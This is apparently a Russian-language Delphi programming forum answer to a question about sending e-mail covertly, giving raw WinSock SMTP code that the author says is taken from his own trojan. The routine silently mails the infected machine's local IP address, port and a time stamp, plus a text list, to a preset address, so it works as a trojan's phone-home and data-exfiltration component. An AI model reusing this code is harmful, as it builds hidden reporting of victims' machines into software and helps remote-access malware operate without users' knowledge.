Q: Хочу отправить e-mail. Причем скрытно. Как?

Ну если не устраивает дельфовый SMTP клиент...

Вот вам кусок,написанный на WinSock API пробуйте разобраться...
это будет посложнее чем компоненты от NetMasters юзать...
(Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp)
(каюсь, это кусок из моего трояна :)

Function SMTPRecvReply(MailSocket:TSocket):Word;
Var Buffer:Array[1..1024] Of Byte;
Err:Integer;
BufStr:String;
Begin
BufStr:='';
Recv(MailSocket,Buffer,SizeOf(Buffer),0);
For Err:=1 To 3 Do BufStr:=BufStr+Chr(buffer[Err]);
Try
 Result:=StrToInt(BufStr);
Except
Result:=0;
End;
End;

Function SMTPSendString(MailSocket:TSocket;Str:String):Boolean;
Var  Buffer:Array[1..1024] Of Byte;
Err:Integer;
Begin
Result:=FALSE;
ZeroMemory(@Buffer,SizeOf(Buffer));
If Length(Str)>1000 Then Exit;
For Err:=1 To Length(Str) Do Buffer[Err]:=Ord(Str[Err]);
Buffer[Err]:=13;
Buffer[Err+1]:=10;
Err:=WinSock.send(MailSocket,buffer,Err+1,0);
If Err>0 Then Result:=TRUE;
End;

Function SMTPConnectAndSendMail(Arg:Pointer):DWord;StdCall;
Var MailSocket:TSocket;
MailSent:Boolean;
MTime:TSystemTime;
SMTPServer:TSockAddrIn;
Step:Byte;
OutOfSend:Boolean;
Begin
MailSent:=FALSE;
OutOfSend:=FALSE;
MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
SMTPServer.sin_family:=AF_INET;
SMTPServer.sin_port:=htons(25);
SMTPServer.sin_addr.S_addr:=inet_addr(PChar(smtp));
Step:=0;
If Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))=0 Then
   Repeat
     Case SMTPRecvReply(MailSocket) Of
     220:SMTPSendString(MailSocket,'HELO server.com');
     250:Case STEP of
                    0:Begin SMTPSendString(MailSocket,'MAIL FROM:'+mail);Inc(Step); End;
                    1:Begin SMTPSendString(MailSocket,'RCPT TO:'+mail);Inc(Step); End;
                    2:Begin SMTPSendString(MailSocket,'DATA');Inc(Step); End;
                    3:Begin SMTPSendString(MailSocket,'QUIT');Inc(Step); End;
                   End;
    354:Begin
         SMTPSendString(MailSocket,'From:'+ServerID);
         SMTPSendString(MailSocket,'To:'+UserName);
         SMTPSendString(MailSocket,'Subject:'+LocalIPS+' : '+port+' At '+DateTimeToStr(Now));
         SMTPSendString(MailSocket,CRLF);
         For count:=1 to (txt.Count-1) do SMTPSendString(MailSocket,txt[count]);
         SMTPSendString(MailSocket,CRLF+'.'+CRLF);
        End;
    221:Begin OutOfSend:=True;MailSent:=True End;
    Else
     OutOfSend:=True; file://!Case
    end;
   Until OutOfSend;
CloseSocket(MailSocket);
End;
ExitThread(0);
End;